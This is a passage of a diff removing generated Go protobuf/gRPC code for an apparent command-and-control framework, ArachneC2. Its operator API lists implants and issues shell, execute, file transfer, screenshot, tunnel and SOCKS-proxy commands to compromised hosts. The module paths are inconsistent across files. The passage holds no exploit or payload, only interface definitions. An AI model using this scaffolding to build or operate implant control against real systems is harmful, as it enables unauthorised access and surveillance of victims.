Handler: _S_M7_Handler,
},
{
MethodName: "M8",
Handler: _S_M8_Handler,
},
{
MethodName: "M9",
Handler: _S_M9_Handler,
},
{
MethodName: "M10",
Handler: _S_M10_Handler,
},
{
MethodName: "M12",
Handler: _S_M12_Handler,
},
},
Streams: []grpc.StreamDesc{
{
StreamName: "M11",
Handler: _S_M11_Handler,
ServerStreams: true,
ClientStreams: true,
},
{
StreamName: "M13",
Handler: _S_M13_Handler,
ServerStreams: true,
ClientStreams: true,
},
},
Metadata: "rpb/rpc.proto",
}
-496
View File
@@ -1,496 +0,0 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.1
// source: rpcpb/rpc.proto
package rpcpb
import (
arachnepb "github.com/portbuster1337/ArachneC2/protobuf/arachnepb"
commonpb "github.com/portbuster1337/ArachneC2/protobuf/commonpb"
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type Version struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"`
Commit string `protobuf:"bytes,2,opt,name=Commit,proto3" json:"Commit,omitempty"`
GoVersion string `protobuf:"bytes,3,opt,name=GoVersion,proto3" json:"GoVersion,omitempty"`
}
func (x *Version) Reset() {
*x = Version{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Version) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Version) ProtoMessage() {}
func (x *Version) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Version.ProtoReflect.Descriptor instead.
func (*Version) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{0}
}
func (x *Version) GetVersion() string {
if x != nil {
return x.Version
}
return ""
}
func (x *Version) GetCommit() string {
if x != nil {
return x.Commit
}
return ""
}
func (x *Version) GetGoVersion() string {
if x != nil {
return x.GoVersion
}
return ""
}
type ImplantInfo struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
OS string `protobuf:"bytes,4,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,5,opt,name=Arch,proto3" json:"Arch,omitempty"`
Username string `protobuf:"bytes,6,opt,name=Username,proto3" json:"Username,omitempty"`
PeerID string `protobuf:"bytes,7,opt,name=PeerID,proto3" json:"PeerID,omitempty"`
LastCheckin int64 `protobuf:"varint,8,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
Interval int64 `protobuf:"varint,9,opt,name=Interval,proto3" json:"Interval,omitempty"`
IsBeacon bool `protobuf:"varint,10,opt,name=IsBeacon,proto3" json:"IsBeacon,omitempty"`
Locale string `protobuf:"bytes,11,opt,name=Locale,proto3" json:"Locale,omitempty"`
RemoteAddress string `protobuf:"bytes,12,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
}
func (x *ImplantInfo) Reset() {
*x = ImplantInfo{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ImplantInfo) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ImplantInfo) ProtoMessage() {}
func (x *ImplantInfo) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ImplantInfo.ProtoReflect.Descriptor instead.
func (*ImplantInfo) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{1}
}
func (x *ImplantInfo) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *ImplantInfo) GetName() string {
if x != nil {
return x.Name
}
return ""
}
func (x *ImplantInfo) GetHostname() string {
if x != nil {
return x.Hostname
}
return ""
}
func (x *ImplantInfo) GetOS() string {
if x != nil {
return x.OS
}
return ""
}
func (x *ImplantInfo) GetArch() string {
if x != nil {
return x.Arch
}
return ""
}
func (x *ImplantInfo) GetUsername() string {
if x != nil {
return x.Username
}
return ""
}
func (x *ImplantInfo) GetPeerID() string {
if x != nil {
return x.PeerID
}
return ""
}
func (x *ImplantInfo) GetLastCheckin() int64 {
if x != nil {
return x.LastCheckin
}
return 0
}
func (x *ImplantInfo) GetInterval() int64 {
if x != nil {
return x.Interval
}
return 0
}
func (x *ImplantInfo) GetIsBeacon() bool {
if x != nil {
return x.IsBeacon
}
return false
}
func (x *ImplantInfo) GetLocale() string {
if x != nil {
return x.Locale
}
return ""
}
func (x *ImplantInfo) GetRemoteAddress() string {
if x != nil {
return x.RemoteAddress
}
return ""
}
type ImplantList struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Implants []*ImplantInfo `protobuf:"bytes,1,rep,name=Implants,proto3" json:"Implants,omitempty"`
}
func (x *ImplantList) Reset() {
*x = ImplantList{}
if protoimpl.UnsafeEnabled {
mi := &file_rpcpb_rpc_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ImplantList) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ImplantList) ProtoMessage() {}
func (x *ImplantList) ProtoReflect() protoreflect.Message {
mi := &file_rpcpb_rpc_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ImplantList.ProtoReflect.Descriptor instead.
func (*ImplantList) Descriptor() ([]byte, []int) {
return file_rpcpb_rpc_proto_rawDescGZIP(), []int{2}
}
func (x *ImplantList) GetImplants() []*ImplantInfo {
if x != nil {
return x.Implants
}
return nil
}
var File_rpcpb_rpc_proto protoreflect.FileDescriptor
var file_rpcpb_rpc_proto_rawDesc = []byte{
0x0a, 0x0f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2f, 0x72, 0x70, 0x63, 0x2e, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x12, 0x05, 0x72, 0x70, 0x63, 0x70, 0x62, 0x1a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a,
0x17, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2f, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x59, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01,
0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a,
0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43,
0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72, 0x73, 0x69,
0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72, 0x73,
0x69, 0x6f, 0x6e, 0x22, 0xbd, 0x02, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49,
0x6e, 0x66, 0x6f, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28,
0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e,
0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e,
0x61, 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28,
0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e,
0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x07, 0x20,
0x01, 0x28, 0x09, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x4c,
0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03,
0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a,
0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52,
0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42,
0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18,
0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x24, 0x0a,
0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0c,
0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72,
0x65, 0x73, 0x73, 0x22, 0x3d, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4c, 0x69,
0x73, 0x74, 0x12, 0x2e, 0x0a, 0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x18, 0x01,
0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70,
0x6c, 0x61, 0x6e, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x08, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
0x74, 0x73, 0x32, 0xd6, 0x05, 0x0a, 0x0a, 0x41, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x52, 0x50,
0x43, 0x12, 0x2d, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x1a, 0x0e, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x73, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x1a, 0x12, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
0x4c, 0x69, 0x73, 0x74, 0x12, 0x2b, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x61,
0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x25, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e,
0x65, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63,
0x75, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x61, 0x72, 0x61,
0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x25,
0x0a, 0x02, 0x4c, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62,
0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65,
0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x28, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x11, 0x2e, 0x61,
0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a,
0x0e, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12,
0x37, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x16, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x31, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f,
0x61, 0x64, 0x12, 0x14, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x55,
0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3d, 0x0a, 0x0a, 0x53,
0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x18, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x2e, 0x0a, 0x05, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x12, 0x13, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e,
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x3e, 0x0a, 0x0a, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a,
0x15, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x31, 0x0a, 0x0b, 0x43, 0x72,
0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x10, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3c, 0x0a,
0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x14, 0x2e, 0x61, 0x72,
0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74,
0x61, 0x1a, 0x14, 0x2e, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x42, 0x30, 0x5a, 0x2e, 0x67,
0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x6c,
0x79, 0x63, 0x6f, 0x2f, 0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x2d, 0x63, 0x32, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
file_rpcpb_rpc_proto_rawDescOnce sync.Once
file_rpcpb_rpc_proto_rawDescData = file_rpcpb_rpc_proto_rawDesc
)
func file_rpcpb_rpc_proto_rawDescGZIP() []byte {
file_rpcpb_rpc_proto_rawDescOnce.Do(func() {
file_rpcpb_rpc_proto_rawDescData = protoimpl.X.CompressGZIP(file_rpcpb_rpc_proto_rawDescData)
})
return file_rpcpb_rpc_proto_rawDescData
}
var file_rpcpb_rpc_proto_msgTypes = make([]protoimpl.MessageInfo, 3)
var file_rpcpb_rpc_proto_goTypes = []interface{}{
(*Version)(nil), // 0: rpcpb.Version
(*ImplantInfo)(nil), // 1: rpcpb.ImplantInfo
(*ImplantList)(nil), // 2: rpcpb.ImplantList
(*commonpb.Empty)(nil), // 3: commonpb.Empty
(*arachnepb.KillReq)(nil), // 4: arachnepb.KillReq
(*arachnepb.PsReq)(nil), // 5: arachnepb.PsReq
(*arachnepb.ExecuteReq)(nil), // 6: arachnepb.ExecuteReq
(*arachnepb.LsReq)(nil), // 7: arachnepb.LsReq
(*arachnepb.PwdReq)(nil), // 8: arachnepb.PwdReq
(*arachnepb.DownloadReq)(nil), // 9: arachnepb.DownloadReq
(*arachnepb.UploadReq)(nil), // 10: arachnepb.UploadReq
(*arachnepb.ScreenshotReq)(nil), // 11: arachnepb.ScreenshotReq
(*arachnepb.ShellReq)(nil), // 12: arachnepb.ShellReq
(*arachnepb.TunnelData)(nil), // 13: arachnepb.TunnelData
(*arachnepb.Socks)(nil), // 14: arachnepb.Socks
(*arachnepb.SocksData)(nil), // 15: arachnepb.SocksData
(*arachnepb.Ps)(nil), // 16: arachnepb.Ps
(*arachnepb.Execute)(nil), // 17: arachnepb.Execute
(*arachnepb.Ls)(nil), // 18: arachnepb.Ls
(*arachnepb.Pwd)(nil), // 19: arachnepb.Pwd
(*arachnepb.Download)(nil), // 20: arachnepb.Download
(*arachnepb.Upload)(nil), // 21: arachnepb.Upload
(*arachnepb.Screenshot)(nil), // 22: arachnepb.Screenshot
(*arachnepb.Shell)(nil), // 23: arachnepb.Shell
}
var file_rpcpb_rpc_proto_depIdxs = []int32{
1, // 0: rpcpb.ImplantList.Implants:type_name -> rpcpb.ImplantInfo
3, // 1: rpcpb.ArachneRPC.GetVersion:input_type -> commonpb.Empty
3, // 2: rpcpb.ArachneRPC.GetImplants:input_type -> commonpb.Empty
4, // 3: rpcpb.ArachneRPC.Kill:input_type -> arachnepb.KillReq
5, // 4: rpcpb.ArachneRPC.Ps:input_type -> arachnepb.PsReq
6, // 5: rpcpb.ArachneRPC.Execute:input_type -> arachnepb.ExecuteReq
7, // 6: rpcpb.ArachneRPC.Ls:input_type -> arachnepb.LsReq
8, // 7: rpcpb.ArachneRPC.Pwd:input_type -> arachnepb.PwdReq
9, // 8: rpcpb.ArachneRPC.Download:input_type -> arachnepb.DownloadReq
10, // 9: rpcpb.ArachneRPC.Upload:input_type -> arachnepb.UploadReq
11, // 10: rpcpb.ArachneRPC.Screenshot:input_type -> arachnepb.ScreenshotReq
12, // 11: rpcpb.ArachneRPC.Shell:input_type -> arachnepb.ShellReq
13, // 12: rpcpb.ArachneRPC.TunnelData:input_type -> arachnepb.TunnelData
14, // 13: rpcpb.ArachneRPC.CreateSocks:input_type -> arachnepb.Socks
15, // 14: rpcpb.ArachneRPC.SocksProxy:input_type -> arachnepb.SocksData
0, // 15: rpcpb.ArachneRPC.GetVersion:output_type -> rpcpb.Version
2, // 16: rpcpb.ArachneRPC.GetImplants:output_type -> rpcpb.ImplantList
3, // 17: rpcpb.ArachneRPC.Kill:output_type -> commonpb.Empty
16, // 18: rpcpb.ArachneRPC.Ps:output_type -> arachnepb.Ps
17, // 19: rpcpb.ArachneRPC.Execute:output_type -> arachnepb.Execute
18, // 20: rpcpb.ArachneRPC.Ls:output_type -> arachnepb.Ls
19, // 21: rpcpb.ArachneRPC.Pwd:output_type -> arachnepb.Pwd
20, // 22: rpcpb.ArachneRPC.Download:output_type -> arachnepb.Download
21, // 23: rpcpb.ArachneRPC.Upload:output_type -> arachnepb.Upload
22, // 24: rpcpb.ArachneRPC.Screenshot:output_type -> arachnepb.Screenshot
23, // 25: rpcpb.ArachneRPC.Shell:output_type -> arachnepb.Shell
13, // 26: rpcpb.ArachneRPC.TunnelData:output_type -> arachnepb.TunnelData
14, // 27: rpcpb.ArachneRPC.CreateSocks:output_type -> arachnepb.Socks
15, // 28: rpcpb.ArachneRPC.SocksProxy:output_type -> arachnepb.SocksData
15, // [15:29] is the sub-list for method output_type
1, // [1:15] is the sub-list for method input_type
1, // [1:1] is the sub-list for extension type_name
1, // [1:1] is the sub-list for extension extendee
0, // [0:1] is the sub-list for field type_name
}
func init() { file_rpcpb_rpc_proto_init() }
func file_rpcpb_rpc_proto_init() {
if File_rpcpb_rpc_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_rpcpb_rpc_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Version); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpcpb_rpc_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantInfo); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_rpcpb_rpc_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantList); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_rpcpb_rpc_proto_rawDesc,
NumEnums: 0,
NumMessages: 3,
NumExtensions: 0,
NumServices: 1,
},
GoTypes: file_rpcpb_rpc_proto_goTypes,
DependencyIndexes: file_rpcpb_rpc_proto_depIdxs,
MessageInfos: file_rpcpb_rpc_proto_msgTypes,
}.Build()
File_rpcpb_rpc_proto = out.File
file_rpcpb_rpc_proto_rawDesc = nil
file_rpcpb_rpc_proto_goTypes = nil
file_rpcpb_rpc_proto_depIdxs = nil
}
-53
View File
@@ -1,53 +0,0 @@
syntax = "proto3";
package rpcpb;
option go_package = "github.com/portbuster1337/arachne-c2/protobuf/rpcpb";
import "commonpb/common.proto";
import "arachnepb/arachne.proto";
service ArachneRPC {
// Operator management
rpc GetVersion(commonpb.Empty) returns (Version);
rpc GetImplants(commonpb.Empty) returns (ImplantList);
// Implant interactions
rpc Kill(arachnepb.KillReq) returns (commonpb.Empty);
rpc Ps(arachnepb.PsReq) returns (arachnepb.Ps);
rpc Execute(arachnepb.ExecuteReq) returns (arachnepb.Execute);
rpc Ls(arachnepb.LsReq) returns (arachnepb.Ls);
rpc Pwd(arachnepb.PwdReq) returns (arachnepb.Pwd);
rpc Download(arachnepb.DownloadReq) returns (arachnepb.Download);
rpc Upload(arachnepb.UploadReq) returns (arachnepb.Upload);
rpc Screenshot(arachnepb.ScreenshotReq) returns (arachnepb.Screenshot);
// Session interactions
rpc Shell(arachnepb.ShellReq) returns (arachnepb.Shell);
rpc TunnelData(stream arachnepb.TunnelData) returns (stream arachnepb.TunnelData);
rpc CreateSocks(arachnepb.Socks) returns (arachnepb.Socks);
rpc SocksProxy(stream arachnepb.SocksData) returns (stream arachnepb.SocksData);
}
message Version {
string Version = 1;
string Commit = 2;
string GoVersion = 3;
}
message ImplantInfo {
string ID = 1;
string Name = 2;
string Hostname = 3;
string OS = 4;
string Arch = 5;
string Username = 6;
string PeerID = 7;
int64 LastCheckin = 8;
int64 Interval = 9;
bool IsBeacon = 10;
string Locale = 11;
string RemoteAddress = 12;
}
message ImplantList {
repeated ImplantInfo Implants = 1;
}
-663
View File
@@ -1,663 +0,0 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.3.0
// - protoc v4.25.1
// source: rpcpb/rpc.proto
package rpcpb
import (
context "context"
arachnepb "github.com/portbuster1337/ArachneC2/protobuf/arachnepb"
commonpb "github.com/portbuster1337/ArachneC2/protobuf/commonpb"
grpc "google.golang.org/grpc"
codes "google.golang.org/grpc/codes"
status "google.golang.org/grpc/status"
)
// This is a compile-time assertion to ensure that this generated file
// is compatible with the grpc package it is being compiled against.
// Requires gRPC-Go v1.32.0 or later.
const _ = grpc.SupportPackageIsVersion7
const (
